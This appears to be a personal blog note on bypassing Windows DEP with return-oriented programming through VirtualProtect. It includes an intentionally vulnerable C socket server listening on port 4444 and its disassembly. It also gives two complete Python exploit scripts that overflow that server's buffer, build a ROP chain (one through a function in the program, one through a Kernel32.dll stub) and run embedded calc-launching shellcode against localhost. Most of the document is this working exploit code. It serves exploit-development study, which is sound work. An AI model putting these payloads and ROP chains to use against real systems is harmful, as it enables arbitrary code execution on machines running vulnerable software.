Notes

Do not read codes but patch binary.

ROP on Kernel32.dll

DEP Bypass by VirtualProtect

I re-visisted this topic and found the bypass is much easier than I have thought.

A case where VirtualProtect is present

Assuming we have a piece of x86-32bit code which calls VirtualProtect on a program with a buffer overflow vulnerability compiled with DEP, you can execute code if you know fix stack and code address.

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void somewhere()
{
    char buf[1024];
    DWORD oldprotect;
    VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect);
}

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

This code was borrowed from https://inaz2.hatenablog.com/entry/2015/07/11/211226.

Without compiler optimization and dead code elimination by Microsoft VIsual Studio Compiler, you will see the assembly of a function somewhere.

.text:00401250 ; =============== S U B R O U T I N E =======================================
.text:00401250
.text:00401250 ; Attributes: bp-based frame
.text:00401250
.text:00401250 ; void __cdecl somewhere()
.text:00401250 ?somewhere@@YAXXZ proc near
.text:00401250
.text:00401250 buf             = byte ptr -404h
.text:00401250 oldprotect      = dword ptr -4
.text:00401250
.text:00401250                 push    ebp
.text:00401251                 mov     ebp, esp
.text:00401253                 sub     esp, 404h
.text:00401259                 lea     eax, [ebp+oldprotect]
.text:0040125C                 push    eax             ; lpflOldProtect
.text:0040125D                 push    40h ; '@'       ; flNewProtect
.text:0040125F                 push    400h            ; dwSize
.text:00401264                 lea     ecx, [ebp+buf]
.text:0040126A                 push    ecx             ; lpAddress
.text:0040126B                 call    ds:__imp__VirtualProtect@16 ; VirtualProtect(x,x,x,x)
.text:00401271                 mov     esp, ebp
.text:00401273                 pop     ebp
.text:00401274                 retn
.text:00401274 ?somewhere@@YAXXZ endp

The function somewhere does not take any arguments and all arguments on VirtualProtect are pre-fixed. But, you can call the function from just before call on 0x0040126b with your arguments.

As a prerequisite, you need to gather the below information.

  • head of stack address on somewhere function
  • where the address of caller main is put
  • where is the address of the function which calls VirtualProtect, namely somewhere
  • address of pop_ebp_ret
import socket
import struct

# Execute Calc
shellcode = b'\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF'


def __do_pwn():

    shellcode_head = stack_head = 0x0019FBCC
    bufsize = 400
    # prepare shellcode on the buffer
    buf = shellcode
    # fill blank before reaching the return address
    buf += b'A' * (bufsize - len(shellcode))
    buf += b'AAAA'
    # you can find this on tails of most functions.
    pop_ebp_ret = 0x401273
    buf += struct.pack('<I', pop_ebp_ret)
    # the value of ebp will be copied to esp where you want to pivot off after coming back from VirtualProtect. 432 is the continuation address of the stack where PAGE_EXECUTION must be enabled.
    ebp = stack_head + 432
    buf += struct.pack('<I', ebp)
    # Address of call VirtualProtect
    virtual_protect_call = 0x0040126b
    buf += struct.pack('<I', virtual_protect_call)
    # 1st argument (pointer of the head of the target address)
    buf += struct.pack('<I', shellcode_head)
    # 2nd argument (size of the target page)
    buf += struct.pack('<I', 1024)
    # 3rd argument (flNewProtect = PAGE_EXECUTE_READWRITE)
    buf += struct.pack('<I', 0x40)
    # 4th argument (pointer of oldprotect which could be anywhere if it is valid and could be overwritten)
    buf += struct.pack('<I', stack_head + len(shellcode))
    # You want to set ebp which are supposed to be copied to esp at this stack address.
    # print(len(buf))
    # you need to add 4byte for "pop ebp" after "mov esp,ebp"
    buf += struct.pack('<I', 0)
    # Now you can execute codes on stack.
    buf += struct.pack('<I', shellcode_head)

    c = socket.create_connection(('127.0.0.1', 4444))
    c.sendall(buf)
    c.close()

__do_pwn()

After coming back from somewhere, mov esp, ebp will forget the position which was on the buffer of this stack. This is a good opportunity to get stack pivoted off, but in this case simply let it goes back to the original stack where shellcode waits. Before VirtualProtect is called, this buffer was non executable, but no longer later on.

A case where VirtualProtect is not present

You can also call VirtualProtect stub on Kernel32.dll assuming you know the base address of Kernel32.dll.

Kernel32.dll has one stub which jumps on VirtualProtect.

Note that offset must be different up to the version of Kernel32.dll. You can verify the offset with rp++

We do not need to take the subsequent codes into consideration because this stub uses jmp not call. It just comes back after the continuation point of the ROP chain.

def __rop_on_kernel32():
    stack_head = shellcode_head = 0x0019FBCC
    # 0x773A0000 is base address of Kernel32.dll
    # 0x20766 is the offset of stub of VirtualProtect
    virtualprotect_on_k32 = 0x773A0000 + 0x20766
    bufsize = 400

    buf = shellcode
    buf += b'A' * (bufsize - len(shellcode))
    buf += b'AAAA'
    buf += struct.pack('<I', virtualprotect_on_k32)
    # comes back to this after jmp
    buf += struct.pack('<I', stack_head)
    # Argument of VirtualProtect
    buf += struct.pack('<I', stack_head)
    buf += struct.pack('<I', 1024)
    buf += struct.pack('<I', 0x40)
    buf += struct.pack('<I', stack_head + len(shellcode))

    c = socket.create_connection(('127.0.0.1', 4444))
    c.sendall(buf)
    c.close()

__rop_on_kernel32()

I do not know direct jump on the stub on Kernel32.dll is well known, but at least found it useful as I discovered. There might be stubs on other DLLs which allows similar DEP evasion.